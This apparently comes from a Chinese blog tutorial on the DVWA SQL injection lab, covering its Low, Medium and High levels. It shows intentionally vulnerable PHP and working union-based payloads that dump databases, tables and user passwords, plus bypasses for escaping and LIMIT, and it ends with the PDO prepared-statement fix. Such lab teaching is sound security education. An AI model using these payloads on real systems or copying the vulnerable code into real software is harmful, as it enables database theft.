SQL Injection

前言

SQL注入 (SQL Injection),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。据说黑客依靠的就是常见的SQL注入漏洞。

SQL注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是整数型

2.猜解SQL查询语句中的字段数 (order by )

3.确定显示的字段顺序 

4.获取当前数据库 (爆库)

5.获取数据库中的表 (爆表)

6.获取表中的字段名 (爆字段)

7.下载数据 (爆数据)

 

 

  • Low

服务端核心代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,  程序没有对参数id做任何过滤,  导致sql注入漏洞。

 

漏洞利用

首先正常查询, 输入1:

  • 判断注入类型

尝试注入 单引号:

预测出sql语句结构可能是:

SELECT * FROM users WHERE id = '$id';

进一步将恶意语句注入到id值,  并且用注释符去掉最后一个单引号:

1' and 1=1%23

若注入一个不正确的语句,  看看注入是否还成立:

1' and 1=2%23

可以看到执行不成功,  最后可以得知为字符型的显错注入。

  • 判断字段数
1' order by 3%23

最后得知字段数为2

  • 爆当前数据库和用户
0' union select user(),database() %23

注意, id=0用于引导显错, (其实id=1也可以, 只不过多显示了id=1的查询信息)

  • 爆所有数据库
0' union select database(),group_concat(schema_name) from information_schema.schemata %23

对于不熟悉这些语法的童鞋可以看一下之前写过的blog:  SQL注入进行爆库爆表

  • 爆表
0' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23

  • 爆字段
0' union select database(),group_concat(column_name) from information_schema.columns where table_name="users"%23

  • 爆值
0' union select  database(),group_concat(user_id,"-",first_name,"-",last_name,"-",user,"-",password) from dvwa.users%23

到此,  sql注入就完成了。

 

 

  • Medium

服务端核心代码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Display values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,\,’,”,\x1a 进行转义;同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

 

漏洞利用

虽然用下拉选择表单来控制用户输入,  但是攻击者可以用抓包修改数据包的方式来攻击。

抓包查看:

于是在id值后面注入单引号,  结果是被mysql_real_escape_string()函数转义了:

绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入),  这里继续发散思维,  也就是先判断sql语句是字符型还是整数型:

  • 判断注入类型

抓包修改id值为:

1 and 1=1

注入成功,  故可知是整数型注入:

整数型注入和字符型注入是差不多的,  只不过整数型不需要加单引号去闭合:

  • 爆库payload
0 union select database(),group_concat(schema_name) from information_schema.schemata
  • 爆表payload
0 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
  • 爆字段payload
0 union select database(),group_concat(column_name) from information_schema.columns where table_name="users"

这里发现双引号被转义到了注入失败:

那么绕过mysql_real_escape_string()函数的方法有几种 (可以采用截断注入),  这里采用十六进制编码来绕过:

修改数据包中的users为十六进制编码后的值(不用双引号, 要在前面加上0x)

注入成功:

  • 爆值payload
0 union select  database(),group_concat(user_id,first_name,last_name,user,password) from dvwa.users

 

 

  • High

服务端核心代码:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);	
}

?>

Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

 

漏洞利用

与之前不同的是, High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

当我们注入单引号的时候:

就会跳出此界面,  有点类似于盲注;

我们进一步判断是字符型还是整数型注入:

这样就排除了整数型注入,  就是字符型注入了;  猜想sql语句为:

SELECT * FROM users WHERE id = '$id' LIMIT 1;

虽然sql语句中用limit限制了只能输入一个结果 (即联合查询union select 不起作用了),  但是可以用注释符把limit注释掉:

0' union select user(),database() #

剩下的就和 Low级别的注入一样了,  不再赘述。

 

 

  • Impossible

服务端核心代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();
		$row = $data->fetch();

		// Make sure only 1 result is returned
		if( $data->rowCount() == 1 ) {
			// Get values
			$first = $row[ 'first_name' ];
			$last  = $row[ 'last_name' ];

			// Feedback for end user
			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

 

 

  • 参考文章

DVWA-1.9全级别教程之SQL Injection

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值